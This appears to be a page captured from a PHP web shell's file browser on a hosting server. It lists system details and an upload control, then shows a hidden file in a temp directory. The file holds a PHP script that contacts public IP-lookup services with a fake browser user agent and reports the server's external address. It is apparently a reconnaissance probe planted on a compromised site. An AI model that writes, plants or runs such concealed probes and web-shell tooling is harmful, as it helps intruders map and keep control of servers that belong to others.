HEX
Server: LiteSpeed
System: Linux s4814.usc1.stableserver.net 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User: autlimited (1987)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/autlimited/.cagefs/tmp/.classes
<?php   $a = array('http://ipecho.net/plain', 'https://api.ipify.org/', 'http://checkip.dyndns.com/'); foreach ($a as $u) {     $p = get($u);     if (preg_match('/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $p, $m)) {        die("<ip>{$m[0]}</ip>");     } }  function get($url) {     if (function_exists('curl_init')) {         $ch = curl_init($url);         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);         curl_setopt($ch, CURLOPT_TIMEOUT, 15);         curl_setopt($ch, CURLOPT_HEADER, 0);         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');         $data = curl_exec($ch);         curl_close($ch);         return $data;     } elseif (@ini_get('allow_url_fopen')) {         return @file_get_contents($url);     } else {         $parts = parse_url($url);         $target = $parts['host'];         $port = isset($parts['port']) ? $parts['port'] : 80;         $page = isset($parts['path']) ? $parts['path'] : '';         $page .= isset($parts['query']) ? '?' . $parts['query'] : '';         $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';         $page = ($page == '') ? '/' : $page;         if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {             @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));             $headers = "GET $page HTTP/1.1\r\n";             $headers .= "Host: {$parts['host']}\r\n";             $headers .= "Connection: Close\r\n\r\n";             if (fwrite($fp, $headers)) {                 $resp = '';                 while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {                     $resp .= $curr;                 }                 if (isset($curr) && $curr !== false) {                     fclose($fp);                     return substr(strstr($resp, "\r\n\r\n"), 3);                 }             }             fclose($fp);         }     }     return TRUE; }